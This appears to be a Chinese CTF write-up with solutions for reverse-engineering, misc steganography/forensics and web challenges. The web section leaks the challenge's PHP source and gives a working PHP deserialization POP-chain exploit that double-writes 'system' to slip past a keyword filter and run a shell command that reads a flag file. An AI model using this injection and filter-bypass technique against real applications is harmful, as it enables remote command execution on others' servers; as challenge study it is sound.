0x33, 0x37, 0x61, 0x34, 0x61, 0x31, 0x34, 0x39, 0x31, 0x65, 0x37, 0x36, 0x39, 0x64, 0x66, 0x36, 0x66, 0x34, 0x63, 0x33, 0x62, 0x34, 0x31, 0x39, 0x00, 0x66, 0x39, 0x31, 0x62, 0x32, 0x36, 0x36, 0x33, 0x66, 0x65, 0x62, 0x62, 0x61, 0x38, 0x61, 0x38, 0x38, 0x34, 0x34, 0x38, 0x37, 0x66, 0x37, 0x64, 0x65, 0x35, 0x65, 0x31, 0x64, 0x32, 0x34, 0x39, 0x00, 0x61, 0x37, 0x30, 0x35, 0x65, 0x38, 0x32, 0x38, 0x30, 0x30, 0x38, 0x32, 0x66, 0x39, 0x33, 0x66, 0x30, 0x37, 0x65, 0x33, 0x34, 0x38, 0x36, 0x36, 0x33, 0x36, 0x66, 0x33, 0x38, 0x32, 0x37, 0x61, 0x00, 0x64, 0x37, 0x61, 0x66, 0x64, 0x65, 0x33, 0x65, 0x37, 0x30, 0x35, 0x39, 0x63, 0x64, 0x30, 0x61, 0x30, 0x66, 0x65, 0x30, 0x39, 0x65, 0x65, 0x63, 0x34, 0x62, 0x30, 0x30, 0x30, 0x38, 0x63, 0x64, 0x00, 0x34, 0x38, 0x38, 0x63, 0x34, 0x32, 0x38, 0x63, 0x64, 0x34, 0x61, 0x38, 0x64, 0x39, 0x31, 0x36, 0x64, 0x65, 0x65, 0x65, 0x37, 0x63, 0x31, 0x36, 0x31, 0x33, 0x63, 0x38, 0x62, 0x32, 0x66, 0x64, 0x00, 0x33, 0x39, 0x61, 0x62, 0x65, 0x34, 0x62, 0x63, 0x61, 0x39, 0x30, 0x34, 0x62, 0x63, 0x61, 0x35, 0x61, 0x31, 0x31, 0x31, 0x32, 0x31, 0x39, 0x35, 0x35, 0x61, 0x32, 0x39, 0x39, 0x36, 0x62, 0x66, 0x00, 0x61, 0x37, 0x30, 0x35, 0x65, 0x38, 0x32, 0x38, 0x30, 0x30, 0x38, 0x32, 0x66, 0x39, 0x33, 0x66, 0x30, 0x37, 0x65, 0x33, 0x34, 0x38, 0x36, 0x36, 0x33, 0x36, 0x66, 0x33, 0x38, 0x32, 0x37, 0x61, 0x00, 0x33, 0x63, 0x66, 0x64, 0x34, 0x33, 0x36, 0x39, 0x31, 0x39, 0x62, 0x63, 0x33, 0x31, 0x30, 0x37, 0x64, 0x36, 0x38, 0x62, 0x39, 0x31, 0x32, 0x65, 0x65, 0x36, 0x34, 0x37, 0x66, 0x33, 0x34, 0x31, 0x00, 0x33, 0x39, 0x61, 0x62, 0x65, 0x34, 0x62, 0x63, 0x61, 0x39, 0x30, 0x34, 0x62, 0x63, 0x61, 0x35, 0x61, 0x31, 0x31, 0x31, 0x32, 0x31, 0x39, 0x35, 0x35, 0x61, 0x32, 0x39, 0x39, 0x36, 0x62, 0x66, 0x00, 0x34, 0x65, 0x34, 0x34, 0x66, 0x31, 0x61, 0x63, 0x38, 0x35, 0x63, 0x64, 0x36, 0x30, 0x65, 0x33, 0x63, 0x61, 0x61, 0x35, 0x36, 0x62, 0x66, 0x64, 0x34, 0x61, 0x66, 0x62, 0x36, 0x37, 0x35, 0x65, 0x00, 0x34, 0x35, 0x63, 0x66, 0x38, 0x64, 0x64, 0x66, 0x61, 0x65, 0x31, 0x64, 0x37, 0x38, 0x37, 0x34, 0x31, 0x64, 0x38, 0x66, 0x31, 0x63, 0x36, 0x32, 0x32, 0x36, 0x38, 0x39, 0x65, 0x34, 0x61, 0x66, 0x00, 0x33, 0x63, 0x66, 0x64, 0x34, 0x33, 0x36, 0x39, 0x31, 0x39, 0x62, 0x63, 0x33, 0x31, 0x30, 0x37, 0x64, 0x36, 0x38, 0x62, 0x39, 0x31, 0x32, 0x65, 0x65, 0x36, 0x34, 0x37, 0x66, 0x33, 0x34, 0x31, 0x00, 0x33, 0x39, 0x61, 0x62, 0x65, 0x34, 0x62, 0x63, 0x61, 0x39, 0x30, 0x34, 0x62, 0x63, 0x61, 0x35, 0x61, 0x31, 0x31, 0x31, 0x32, 0x31, 0x39, 0x35, 0x35, 0x61, 0x32, 0x39, 0x39, 0x36, 0x62, 0x66, 0x00, 0x34, 0x65, 0x34, 0x34, 0x66, 0x31, 0x61, 0x63, 0x38, 0x35, 0x63, 0x64, 0x36, 0x30, 0x65, 0x33, 0x63, 0x61, 0x61, 0x35, 0x36, 0x62, 0x66, 0x64, 0x34, 0x61, 0x66, 0x62, 0x36, 0x37, 0x35, 0x65, 0x00, 0x33, 0x37, 0x33, 0x32, 0x37, 0x62, 0x62, 0x30, 0x36, 0x63, 0x38, 0x33, 0x63, 0x62, 0x32, 0x39, 0x63, 0x65, 0x66, 0x64, 0x65, 0x31, 0x39, 0x36, 0x33, 0x65, 0x61, 0x35, 0x38, 0x38, 0x61, 0x61, 0x00, 0x61, 0x37, 0x30, 0x35, 0x65, 0x38, 0x32, 0x38, 0x30, 0x30, 0x38, 0x32, 0x66, 0x39, 0x33, 0x66, 0x30, 0x37, 0x65, 0x33, 0x34, 0x38, 0x36, 0x36, 0x33, 0x36, 0x66, 0x33, 0x38, 0x32, 0x37, 0x61, 0x00, 0x32, 0x33, 0x65, 0x36, 0x35, 0x61, 0x36, 0x37, 0x39, 0x31, 0x30, 0x35, 0x62, 0x38, 0x35, 0x63, 0x35, 0x64, 0x63, 0x37, 0x30, 0x33, 0x34, 0x66, 0x64, 0x65, 0x64, 0x34, 0x66, 0x62, 0x35, 0x66, 0x00, 0x31, 0x30, 0x65, 0x32, 0x31, 0x64, 0x61, 0x32, 0x33, 0x37, 0x61, 0x34, 0x61, 0x31, 0x34, 0x39, 0x31, 0x65, 0x37, 0x36, 0x39, 0x64, 0x66, 0x36, 0x66, 0x34, 0x63, 0x33, 0x62, 0x34, 0x31, 0x39, 0x00, 0x37, 0x31, 0x62, 0x30, 0x34, 0x33, 0x38, 0x62, 0x66, 0x34, 0x36, 0x61, 0x61, 0x32, 0x36, 0x39, 0x32, 0x38, 0x63, 0x37, 0x66, 0x35, 0x61, 0x33, 0x37, 0x31, 0x64, 0x36, 0x31, 0x39, 0x65, 0x31, 0x00, 0x61, 0x66, 0x38, 0x35, 0x64, 0x35, 0x31, 0x32, 0x35, 0x39, 0x34, 0x66, 0x63, 0x38, 0x34, 0x61, 0x35, 0x63, 0x36, 0x35, 0x65, 0x63, 0x39, 0x39, 0x37, 0x30, 0x39, 0x35, 0x36, 0x65, 0x61, 0x35, 0x00, 0x33, 0x39, 0x61, 0x62, 0x65, 0x34, 0x62, 0x63, 0x61, 0x39, 0x30, 0x34, 0x62, 0x63, 0x61, 0x35, 0x61, 0x31, 0x31, 0x31, 0x32, 0x31, 0x39, 0x35, 0x35, 0x61, 0x32, 0x39, 0x39, 0x36, 0x62, 0x66]
enc = bytes(enc)
enc = enc.split(b'\x00')
flag = ''
for i in enc:
    flag += dd[i.decode()]

print(flag)

CSGO

签到题,带符号的 GO,动调拿到 b64 魔改表 LMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/ABCDEFGHIJK 直接梭

Ez 加密器

两段输入,这里称为 code 和 flag,code 经过魔改 base 之后作为 key,然后对 flag 进行 DES 加密,加密前的末位有固定字符串 [0x8,0x8,0x8,0x8,0x8,0x8,0x8,0x8] 所以可以通过这个突破点来爆破得到 code,然后再解密 flag

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
# cmpvalue = [0x88, 0x43, 0xFB, 0x0C, 0x71, 0x68, 0xE3, 0xA6]
# cmpvalue = bytes(cmpvalue).hex()
cmpvalue = int.to_bytes(0x1CA3C55D3A4D7BEA, 8, 'big').hex()
# cmpvalue = int.to_bytes(0x0FB8BD46B202932E1, 8, 'little').hex()
import base64
def magic_b64(msg):
    new = "abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ+/"
    ori = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"
    new_msg = msg.encode()
    encrypt = base64.b64encode(new_msg).decode()
    encrypt = encrypt.translate(str.maketrans(ori, new))
    return encrypt

import itertools
from Crypto.Cipher import DES
import string
brute_table = string.digits
brute_num = 6
print(f"brute_table:{brute_table} brute_num:{brute_num}")
for ch in itertools.product(list(brute_table),repeat=brute_num):
    psw = ''.join(ch)
    key = magic_b64(psw).encode()
    des = DES.new(key, DES.MODE_ECB)
    des_enc = des.encrypt(bytes([0x8,0x8,0x8,0x8,0x8,0x8,0x8,0x8]))
    
    if des_enc.hex() == cmpvalue:
        print(f"[*] !!!!!! {psw}")
        break

vm_wo

vm,搓 disasm:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
opcode0 = b'\x1a\x00\x03\x19\x01\x01\r\x02\x07\x18\x01\x02\x01\x00\x03'
opcode1 = b'\x1a\x00\x03\x19\x01\x02\r\x02\x06\x18\x01\x02\x01\x00\x04'
opcode2 = b'\x1a\x00\x03\x19\x01\x03\r\x02\x05\x18\x01\x02\x01\x00\x05'
opcode3 = b'\x1a\x00\x03\x19\x01\x04\r\x02\x04\x18\x01\x02\x01\x00\x06'
ip = 0

opcode = opcode3
while ip < len(opcode):
    oprand1 = opcode[ip+1]
    if ip == 0:
        oprand2 = 0xff
    else:
        oprand2 = opcode[ip+2]
    match opcode[ip]:
        case 0:
            print('%d: xhcg reg[%d], reg[%d]' % (ip, oprand1, oprand2))
        case 1:
            print('%d: reg[%d] ^= reg[%d]' % (ip, oprand1, oprand2))
        case 2:
            print('%d: reg[%d] += %#x' % (ip, oprand1, oprand2))
        case 3:
            print('%d: reg[%d] += reg[%d]' % (ip, oprand1, oprand2))
        case 4:
            print('%d: reg[%d] -= %#x' % (ip, oprand1, oprand2))
        case 5:
            print('%d: reg[%d] -= reg[%d]' % (ip, oprand1, oprand2))
        case 6:
            print('%d: reg[%d] *= %#x' % (ip, oprand1, oprand2))
        case 7:
            print('%d: reg[%d] *= reg[%d]' % (ip, oprand1, oprand2))
        case 8:
            print('%d: reg[%d] /= %#x' % (ip, oprand1, oprand2))
        case 9:
            print('%d: reg[%d] /= reg[%d]' % (ip, oprand1, oprand2))
        case 10:
            print('%d: reg[%d] %= %#x' % (ip, oprand1, oprand2))
        case 11:
            print('%d: reg[%d] %= reg[%d]' % (ip, oprand1, oprand2))
        case 12:
            print('%d: reg[%d] <<= %#x' % (ip, oprand1, oprand2))
        case 13:
            print('%d: reg[%d] = reg[0] << %#x' % (ip, oprand1, oprand2))
        case 14:
            print('%d: push reg[%d]' % (ip, oprand1))
        case 15:
            print('%d: print_num(reg[%d])' % (ip, oprand1))
        case 16:
            print('%d: pop_and_print_num' % (ip))
        case 17:
            print('%d: if !reg[%d]: ip = %d' % (ip, oprand1, oprand2+3))
        case 18:
            print('%d: if reg[%d]: ip = %d' % (ip, oprand1, oprand2+3))
        case 19:
            print('%d: ip = %d' % (ip, oprand1+3))
        case 20:
            print('%d: push reg[reg[%d]]' % (ip, oprand1))
        case 21:
            print('%d: pop reg[0]' % (ip))
        case 22:
            print('%d: push %#x' % (ip, oprand1))
        case 23:
            print('%d: exit' % (ip))
        case 24:
            print('%d: reg[0] = reg[2] | reg[1]' % (ip))
        case 25:
            print('%d: reg[%d] = reg[0] >> %#x' % (ip, oprand1, oprand2))
        case 26:
            print('%d: reg[%d] = %#x' % (ip, oprand1, oprand2))
        case _:
            print('%d: error!' % (ip))
            exit()
    ip += 3

逻辑很简单,直接解:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
def rol(x, n):
    return ((x<<n) & 0xff) | (x >> (8-n))

key = 0xBEEDBEEF.to_bytes(4, 'little')
enc = [0xDF, 0xD5, 0xF1, 0xD1, 0xFF, 0xDB, 0xA1, 0xA5, 0x89, 0xBD, 0xE9, 0x95, 0xB3, 0x9D, 0xE9, 0xB3, 0x85, 0x99, 0x87, 0xBF, 0xE9, 0xB1, 0x89, 0xE9, 0x91, 0x89, 0x89, 0x8F, 0xAD]

for i in range(len(enc)):
    t = enc[i]
    t = rol(t, 5)
    t ^= key[3]
    t = rol(t, 4)
    t ^= key[2]
    t = rol(t, 3)
    t ^= key[1]
    t = rol(t, 2)
    t ^= key[0]
    t = rol(t, 1)
    enc[i] = t

print(bytes(enc))

(其实应该单字节爆破的)

Misc

ai 和 nia 的交响曲

得到一个流量包 然后直接到处 http 对象发现有个 flag2.zip 然后搜一下 flag 字符串 发现还有一个 flag1.png 把两个都导出来

flag1 是一个看起来就是读黑白二进制转 ascii 的图

编写脚本

1
2
3
4
5
6
7
8
9
10
11
12
from PIL import Image
a = Image.open("flag1.png")
a = a.convert("1")

c = ""
for x in range(a.width):
    for y in range(a.height//8):
        b = ""
        for i in range(8):
            b += "1" if a.getpixel((x,y*8+i)) else "0"
        c += (chr(int(b, 2)))
print(c)

末尾得到

1
>>>>>>HINT:BV1wW4y1R7Jv&&FLAG1:@i_n1a_l0v3S_

BV1wW4y1R7Jv 一眼定真为 bv 号 一搜是个曹操盖饭的摩斯密码视频

然后看 flag2.zip 伪加密

然后看看里面的 txt 零宽隐写没啥用 重要的是 txt 的时间线内容

1
2
3
4
5
6
7
8
9
10
11
12
00:03
00:00
00:21
00:03
00:00
00:21
00:09
00:00
00:12
00:08
00:00
00:20

把视频下下来盯帧 最后根据大意得到为 CAOCAOGAIFAN

flag:@i_n1a_l0v3S_CAOCAOGAIFAN

EZ_misc

首先得到一张看起来宽高有问题的 png 先用工具恢复宽高

但是没什么用 用 010 看发现有好多额外的 idat 块 有点奇怪

png 文件尾的 zip 给导出 前面还有个 fivenumbers 的提示

根据两个文件名 gronsfeld 搜索 https://www.boxentriq.com/code-breaking/gronsfeld-cipher

提示为 snippingtools 想起来之前打的比赛的 win11 截屏 cve

果真

flag:CvE_1s_V3Ry_intEr3sting!!

Easy_VMDK

首先 https://www.nakivo.com/blog/extract-content-vmdk-files-step-step-guide/

了解到

vmdk 文件格式 在 0x200 也就是 512 字节处都有

1
2
3
4
5
6
# Disk DescriptorFile
version=1

也就是

23204469736B2044657363726970746F7246696C650A76657273696F6E3D310A

有 24 字节 考虑明文攻击

成功解压 vmdk 查看里面的文件 flag.zip 和 key.txt

flag.zip 尾部还有一个压缩包 打开是 png2txt.py 逆向脚本将 txt 转为 png

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
import cv2
import base64
import binascii
import numpy as np

# 读取 key.txt 文件
with open("key.txt", "r") as f:
    lines = f.readlines()

# 获取图像的高度和宽度
r = 137  # 你的图像高度
c = 2494  # 你的图像宽度

# 创建一个空白图像
decoded_img = np.zeros((r, c, 3), dtype=np.uint8)

# 解码每一行并将像素值还原到图像
for y in range(r):
    for x in range(c):
        # 解码 Base64 数据
        encoded_data = lines[y * c + x].strip()
        uu_byte = base64.b64decode(encoded_data)
        
        # 将 uuencoded 数据还原为像素值
        pixel_values = list(map(int, binascii.b2a_uu(uu_byte).split(b',')))
        
        # 设置像素值
        decoded_img[y, x] = pixel_values[:3]  # 只使用前三个值 (BGR颜色)

# 保存还原后的图像
cv2.imwrite("restored_key.png", decoded_img)

然后再用这个密码解压 flag.zip 的 flag.txt

flag:2431a606-00a3-4698-8b0f-eb806a7bb1be

GIFuck

得到一个 gif 先对其分解和读取帧间时间

分解得到的看起来就是 brainfuck 但是读取起来全是不可见字符 再看看帧间时间

全是 60 的倍数 盲猜是重复 brainfuck 的次数

编写脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
import os

# 指定文件夹路径
folder_path = "flag"

# 生成文件名列表,按照数字顺序排列
file_list = [f"{i}.png" for i in range(1099)]  # 包括0到1098共1099个文件

brainfuck = ''

base = ['240', '60', '60', '60', '240', '60', '60', '60', '60', '60', '60', '360', '60', '60', '60', '60', '60', '60', '60', '60', '60', '60', '60', '60', '60', '60', '60', '60', '60', '60', '60', '60', '60', '60', '60', '60', '60', '60', '60', '60', '60', '60', '60', '60', '60', '60', '60', '60', '60', '60', '60', '60', '60', '60', '60', '60', '60', '60', '60', '60', '60', '60', '60', '60', '60', '60', '60', '60', '60', '60', '60', '60', '60', '60', '60', '60', '60', '60', '60', '60', '1860', '60', '180', '60', '120', '60', '60', '60', '60', '60', '240', '60', '60', '60', '60', '60', '60', '240', '60', '60', '60', '60', '60', '60', '60', '60', '60', '60', '60', '60', '180', '60', '180', '60', '120', '60', '180', '60', '60', '60', '60', '60', '240', '60', '60', '60', '60', '60', '60', '240', '60', '60', '60', '60', '60', '60', '60', '60', '60', '60', '60', '60', '180', '60', '180', '60', '60', '180', '60', '60', '60', '240', '60', '60', '60', '60', '60', '60', '60', '60', '60', '60', '60', '60', '180', '60', '180', '60', '60', '180', '60', '60', '60', '60', '60', '240', '60', '60', '60', '60', '60', '60', '240', '60', '60', '60', '60', '60', '60', '60', '60', '60', '60', '60', '60', '180', '60', '180', '60', '180', '60', '120', '60', '60', '60', '240', '60', '60', '60', '60', '60', '60', '60', '60', '60', '60', '60', '60', '180', '60', '180', '60', '60', '60', '120', '60', '60', '60', '60', '60', '240', '60', '60', '60', '60', '60', '60', '240', '60', '60', '60', '60', '60', '60', '60', '60', '60', '60', '60', '60', '180', '60', '180', '60', '60', '180', '60', '60', '60', '60', '60', '240', '60', '60', '60', '60', '60', '60', '240', '60', '60', '60', '60', '60', '60', '60', '60', '60', '60', '60', '60', '180', '60', '180', '60', '180', '60', '180', '60', '60', '60', '240', '60', '60', '60', '60', '60', '60', '60', '60', '60', '60', '60', '60', '180', '60', '180', '60', '120', '60', '60', '60', '60', '60', '240', '60', '60', '60', '60', '60', '60', '60', '60', '60', '60', '60', '60', '180', '60', '180', '60', '180', '60', '180', '60', '60', '60', '240', '60', '60', '60', '60', '60', '60', '60', '60', '60', '60', '60', '60', '180', '60', '180', '60', '60', '60', '60', '60', '60', '60', '60', '60', '60', '180', '60', '180', '60', '180', '60', '180', '60', '60', '60', '240', '60', '60', '60', '60', '60', '60', '60', '60', '60', '60', '60', '60', '180', '60', '180', '60', '120', '60', '120', '60', '60', '60', '240', '60', '60', '60', '60', '60', '60', '60', '60', '60', '60', '60', '60', '180', '60', '180', '60', '180', '60', '180', '60', '60', '60', '240', '60', '60', '60', '60', '60', '60', '60', '60', '60', '60', '60', '60', '180', '60', '180', '60', '120', '60', '60', '60', '60', '60', '240', '60', '60', '60', '60', '60', '60', '60', '60', '60', '60', '60', '60', '180', '60', '180', '60', '120', '60', '60', '60', '60', '60', '60', '60', '60', '60', '180', '60', '180', '60', '60', '120', '60', '60', '60', '60', '240', '60', '60', '60', '60', '60', '60', '240', '60', '60', '60', '60', '60', '60', '60', '60', '60', '60', '60', '60', '180', '60', '180', '60', '60', '120', '60', '60', '60', '60', '240', '60', '60', '60', '60', '60', '60', '240', '60', '60', '60', '60', '60', '60', '60', '60', '60', '60', '60', '60', '180', '60', '180', '60', '60', '60', '180', '60', '60', '60', '240', '60', '60', '60', '60', '60', '60', '60', '60', '60', '60', '60', '60', '180', '60', '180', '60', '120', '60', '60', '60', '60', '60', '240', '60', '60', '60', '60', '60', '60', '60', '60', '60', '60', '60', '60', '180', '60', '180', '60', '60', '60', '60', '60', '60', '60', '60', '60', '60', '180', '60', '180', '60', '120', '60', '180', '60', '60', '60', '60', '60', '240', '60', '60', '60', '60', '60', '60', '240', '60', '60', '60', '60', '60', '60', '60', '60', '60', '60', '60', '60', '180', '60', '180', '60', '60', '120', '60', '60', '60', '60', '240', '60', '60', '60', '60', '60', '60', '240', '60', '60', '60', '60', '60', '60', '60', '60', '60', '60', '60', '60', '180', '60', '180', '60', '60', '120', '60', '60', '60', '60', '240', '60', '60', '60', '60', '60', '60', '240', '60', '60', '60', '60', '60', '60', '60', '60', '60', '60', '60', '60', '180', '60', '180', '60', '60', '60', '180', '60', '60', '60', '240', '60', '60', '60', '60', '60', '60', '60', '60', '60', '60', '60', '60', '180', '60', '180', '60', '120', '60', '60', '60', '60', '60', '240', '60', '60', '60', '60', '60', '60', '60', '60', '60', '60', '60', '60', '180', '60', '180', '60', '60', '60', '60', '60', '60', '60', '60', '60', '60', '180', '60', '180', '60', '180', '60', '180', '60', '60', '60', '240', '60', '60', '60', '60', '60', '60', '60', '60', '60', '60', '60', '60', '180', '60', '180', '60', '120', '60', '60', '60', '60', '60', '240', '60', '60', '60', '60', '60', '60', '60', '60', '60', '60', '60', '60', '180', '60', '180', '60', '180', '60', '180', '60', '60', '60', '240', '60', '60', '60', '60', '60', '60', '60', '60', '60', '60', '60', '60', '180', '60', '180', '60', '120', '60', '180', '60', '60', '60', '60', '60', '240', '60', '60', '60', '60', '60', '60', '240', '60', '60', '60', '60', '60', '60', '60', '60', '60', '60', '60', '60', '180', '60', '180', '60', '120', '540', '60', '60', '60', '540', '60', '60', '60', '120', '60', '60', '300', '60', '60', '60', '300', '60', '60', '60', '180', '60', '180', '120', '420', '60', '60', '540', '60', '60', '60', '540', '60', '60', '60', '480', '60', '60', '480', '60', '60', '60', '480', '60', '60', '60', '120', '60', '60', '240', '60', '60', '60', '240', '60', '60', '60', '180', '60', '60', '60', '60', '540', '60', '60', '60', '540', '60', '60', '60', '180', '60', '60', '540', '60', '60', '60', '540', '60', '60', '60', '480', '60', '60', '180', '60', '60', '60', '180', '60', '60', '60', '60', '60', '360', '60', '180', '60', '60', '540', '60', '60', '60', '540', '60', '60', '60', '60', '60', '60', '480', '60', '60', '60', '480', '60', '60', '60', '360', '60', '360', '60', '60', '180', '60', '60', '60', '180', '60', '60', '60', '120', '60', '360', '60', '60', '480', '60', '60', '60', '480', '60', '60', '60', '420', '60', '60', '480', '60', '60', '60', '480', '60', '60', '60', '540', '60', '60', '180', '60', '60', '60', '180', '60', '60', '60', '60', '60', '60', '540', '60', '60', '60', '540', '60', '60', '60', '120', '60', '60', '480', '60', '60', '60', '480', '60', '60', '60', '840', '60', '60', '60', '300', '60', '60', '540', '60', '60', '60', '540', '60', '60', '60', '180', '60', '60', '480', '60', '60', '60', '480', '60', '60', '60', '480', '60', '180', '60', '60', '180', '60', '60', '60', '180', '60', '60', '60', '240', '60', '60', '180', '60', '60', '60', '180', '60', '60', '60', '240', '60', '60', '420', '60', '60', '60', '420', '60', '60', '60', '360', '60', '60', '60', '60', '60']
time = []
for i in base:
    time.append(str(int(i) // 60))

for file_name in file_list:
    file_path = os.path.join(folder_path, file_name)
    index = int(time[int(file_name[0:-4])])

    # 检查是否是文件而不是文件夹
    if os.path.isfile(file_path):
        file_size = os.path.getsize(file_path)
        if file_size == 291:
            brainfuck += '+' * index
        elif file_size == 365:
            brainfuck += '[' * index
        elif file_size == 211:
            brainfuck += '-' * index
        elif file_size == 312:
            brainfuck += '>' * index
        elif file_size == 314 :
            brainfuck += '<' * index
        elif file_size == 367:
            brainfuck += ']' * index
        elif file_size == 229:
            brainfuck += '.' * index
        else:
            brainfuck += '?'
print(brainfuck)

# ++++[->++++<]>[->++++++<]>-[->+>+>+>+>+>+>+>+>+>+>+>+>+>+>+>+>+>+>+>+>+>+>+>+>+>+>+>+>+>+>+<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<]+++<++<+[->++++<]>[->++++<]>[->-<]>[-<<<+>>>]++<+++<+[->++++<]>[->++++<]>[->-<]>[-<<<+>>>]<+++[->++++<]>[->-<]>[-<<<+>>>]<+++<+[->++++<]>[->++++<]>[->-<]>[-<<<+>>>]+++<++[->++++<]>[->-<]>[-<<<+>>>]+<++<+[->++++<]>[->++++<]>[->-<]>[-<<<+>>>]<+++<+[->++++<]>[->++++<]>[->+<]>[-<<<+>>>]+++<+++[->++++<]>[->-<]>[-<<<+>>>]++<+[->++++<]>[->+<]>[-<<<+>>>]+++<+++[->++++<]>[->+<]>[-<<<+>>>][->+<]>[-<<<+>>>]+++<+++[->++++<]>[->-<]>[-<<<+>>>]++<++[->++++<]>[->+<]>[-<<<+>>>]+++<+++[->++++<]>[->+<]>[-<<<+>>>]++<+[->++++<]>[->+<]>[-<<<+>>>]++[->+<]>[-<<<+>>>]+<<+[->++++<]>[->++++<]>[->+<]>[-<<<+>>>]+<<+[->++++<]>[->++++<]>[->+<]>[-<<<+>>>]+<+++[->++++<]>[->+<]>[-<<<+>>>]++<+[->++++<]>[->+<]>[-<<<+>>>][->+<]>[-<<<+>>>]++<+++<+[->++++<]>[->++++<]>[->-<]>[-<<<+>>>]+<<+[->++++<]>[->++++<]>[->+<]>[-<<<+>>>]+<<+[->++++<]>[->++++<]>[->+<]>[-<<<+>>>]+<+++[->++++<]>[->+<]>[-<<<+>>>]++<+[->++++<]>[->+<]>[-<<<+>>>][->+<]>[-<<<+>>>]+++<+++[->++++<]>[->-<]>[-<<<+>>>]++<+[->++++<]>[->+<]>[-<<<+>>>]+++<+++[->++++<]>[->+<]>[-<<<+>>>]++<+++<+[->++++<]>[->++++<]>[->+<]>[-<<<+>>>]<<+++++++++[->+++++++++<]>++.<+++++[->+++++<]>+++.+++..+++++++.<+++++++++[->---------<]>--------.<++++++++[->++++++++<]>++.<++++[->++++<]>+++.-.<+++++++++[->---------<]>---.<+++++++++[->+++++++++<]>++++++++.<+++[->---<]>-.++++++.---.<+++++++++[->---------<]>-.<++++++++[->++++++++<]>++++++.++++++.<+++[->---<]>--.++++++.<++++++++[->--------<]>-------.<++++++++[->++++++++<]>+++++++++.<+++[->+++<]>+.<+++++++++[->---------<]>--.<++++++++[->++++++++<]>++++++++++++++.+.+++++.<+++++++++[->---------<]>---.<++++++++[->++++++++<]>++++++++.---.<+++[->+++<]>++++.<+++[->---<]>----.<+++++++[->-------<]>------.[-]<

flag:Pen_Pineapple_Apple_Pen

Web

D0n’t pl4y g4m3!!!

访问/p0p.php 得到 hint,尊嘟假嘟语解密得到:flag 在/tmp/catcatf1ag.txt

通过 fuzz 访问到/start.sh 发现启动方式是 php 内置服务器

https://www.ctfiot.com/95654.html

获得源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
<?php
header("HTTP/1.1 302 found");
header("Location:https://passer-by.com/pacman/");

class Pro{
    private $exp;
    private $rce2;

    public function __get($name)
    {
        return $this->$rce2=$this->exp[$rce2];
    }
    public  function __toString()
    {
            call_user_func('system', "cat /flag");
     }
}

class Yang
{
    public function __call($name, $ary)
    {
        if ($this->key === true || $this->finish1->name) {
            if ($this->finish->finish) {
                call_user_func($this->now[$name], $ary[0]);
            }
        }
    }
    public function ycb()
    {
        $this->now = 0;
        return $this->finish->finish;
    }
    public function __wakeup()
    {
        $this->key = True;
    }
}
class Cheng
{
    private $finish;
    public $name;
    public function __get($value)
    {

        return $this->$value = $this->name[$value];
    }
}
class Bei
{
    public function __destruct()
    {
        if ($this->CTF->ycb()) {
            $this->fine->YCB1($this->rce, $this->rce1);
        }
    }
    public function __wakeup()
    {
        $this->key = false;
    }
}

function prohib($a){
    $filter = "/system|exec|passthru|shell_exec|popen|proc_open|pcntl_exec|eval|flag/i";
    return preg_replace($filter,'',$a);
}

$a = $_POST["CTF"];
if (isset($a)){
  unserialize(prohib($a));
}
?>

然后就是简单的 pop 链构造,由于题目有过滤,但只是简单的置为空,所以可以进行双写绕过,只需要在最后的 payload 修改一下字符个数即可

exp.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
<?php
class Yang
{
    public $key;
    public $finish;
    public $finish1;
    public $now;
    public function __construct()
    {
        $this->key = True;
        $this->finish = new Cheng();
        $this->finish1 = new Cheng();
        $this->now = array("YCB1"=>"sysystemstem");
    }
}
class Cheng
{
    private $finish;
    public $name;
    public function __construct()
    {
        $this->finish = 1;
        $this->name = array("finish"=>1);
    }
}
class Bei
{
    public $CTF;
    public $fine;
    public $rce;
    public $rce1;
    public $key;
}
$a = new Bei();
$b1 = new Yang();
$b2 = new  Yang();

$a->CTF = $b1;
$a->fine = $b2;
$a->rce = "cat /tmp/catcatf1ag.txt";
echo urlencode(serialize($a));
#修改一下sysystemstem的字符数12为6,以对应被置为空的个数
